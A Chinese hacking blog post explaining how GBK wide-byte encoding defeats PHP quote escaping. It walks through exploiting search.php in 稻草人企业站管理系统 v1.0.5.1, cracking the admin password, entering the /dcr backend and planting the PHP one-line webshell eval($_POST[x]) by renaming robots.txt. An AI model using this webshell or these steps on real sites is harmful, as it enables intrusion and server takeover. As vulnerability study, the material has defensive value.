危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2306 浏览20582354

稻草人企业站管理系统宽字节注入漏洞

前几天在网上逛的时候发现别人公布了稻草人企业站管理系统的一个宽字节注入漏洞,平时宽字节注入漏洞见的比较少,就在虚拟机里照着危险漫步说的方法验证了一次漏洞,觉得有点意思,所以介绍给大家。

一、宽字节注入简介

在看危险漫步公布的稻草人企业站管理系统宽字节注入漏洞前,我对宽字节注入的知识几乎一无所知,看到这个漏洞后到网上搜索了下相关信息,考虑到可能有部分人也对宽字节注入漏洞缺乏了解,我就现学现卖,在此介绍给还不知道的大家。

如果Magic_quotes_gpc=on,Php在遇到提交过来的等在shell命令行里有特殊意义的字符都通过在前面加上\来进行转义处理,来看个实例,需要把代码保存为test.php:

把test.php放到支持Php的Web空间中,这里我把它放到了我虚拟机里的Php环境中,访问地址的作用是显示通过str变量提交过来的东西,页面显示为hackerxfiles,原样输出了我们输入的东西。我们来提交一个试试,页面却显示为\’,’被转义成了\'。    

貌似开启Magic_quotes_gpc后很好的过滤了'等危险字符,真是这样吗?下面再来看个例子,如果能正常过滤的话应该显示%d5\',但实际的显示结果却是馘',3,'没有经过过滤就显示了出来。

这是怎么回事呢?问题好像出在提交的%d5身上,也确实如此,因为PHP转移的底层函数php_escape_shell_cmd存在一个漏洞,php通过将",',#,&,;…,等等在shell命令行里有特殊意义的字符都通过在前面加上\变成\".\'#,\&,\…来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在Php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的。但实际上,对于GBK(GB231可以认为是其子集,GBK扩展了对繁体中文的支持等)等宽字节编码,一个中文字符被处理成两个字节保存:  

首字节范围在0x81-0xFE

尾字节范围在0x40-0xFE(不含0x7F)

请注意,对于转义用到的”W(0x5C)恰恰包含在尾字节当中!当我们提交一个0x81-0xFE的字节(本例是0xD5)并故意带上一个敏感字符"'"时,Php针对"'"进行转义,产生一个"\"(0x5c),恰好与前面的0xd5结合在一起成为一个完整的字符"馘",原本的转义符号“反水”了。而“馘“的URL编码也确实是%D5%5C。 

同样的,这个漏洞对于POST、Cookie都有效。

通过宽字节编码漏洞能提交'等符号是很致命的,因为'在Php+MySQL注入是很重要的,能带入',注入漏洞也就产生了。

以上对宽字节注入的介绍参考了大量网上的信息,在这里说明下。

二、稻草人企业站管理系统宽字节注入漏洞利用

简单介绍完了什么是宽字节注入来看稻草人企业站管理系统宽字节注入漏洞的利用。我下载了存在漏洞的稻草人企业站管理系统v1.0.5.1 GBK的源代码,在虚拟机里的Php环境中把稻草人企业站管理系统安装好。

出现漏洞的文件是网站裉目录下的search.php,具体代码就不分析了,直接给出毅心毅意公布的爆管理员用户名和密码的语句:

密码好像是经过加密的,通过查看源代码发现加密代码如下:

其中s就是密码的明文。由于我对加密方法一窍不通,也不知道能不能通过加密后的密文得到明文密码,这里只给出几个常用弱口令对应的密文:

另外,我写了一个利用加密算法的Php文件。

保存为jiami.php后把jiami.php放到支持Php的Web空间中提交就可以得到admin加密后的值。

通过注入得到的管理员的密码为dc7kfzD786hno,通过给出的几个弱口令明文和密文的对照知道密码为admin。知道了密码来进后台找拿sbell的方法。稻草人企业站管理系统默认的后台目录为dcr,访问后就来到了后台登录页面,用得到的用户名和密码进入了后台。

稻草人企业站管理系统在后台拿shell非常简单,因为它的后台提供了一个文件管理器,可以直接编辑网站目录下的所有文件,还能给文件改名。

通过文件管理器编辑网站根目录下的robots.txt写入Php一句话木马的服务端代码<?php eval($_POST[x]);?>,然后把robots.txt改名为robots.php,用lanker一句话PHP后门客户端3.0连接,成功获得shell。

本文通过稻草人企业站管理系统宽字节注入漏洞简单介绍了产生宽字节注入漏洞的原因,希望大家能举一反三,找到别的存在宽字节注入漏洞的程序。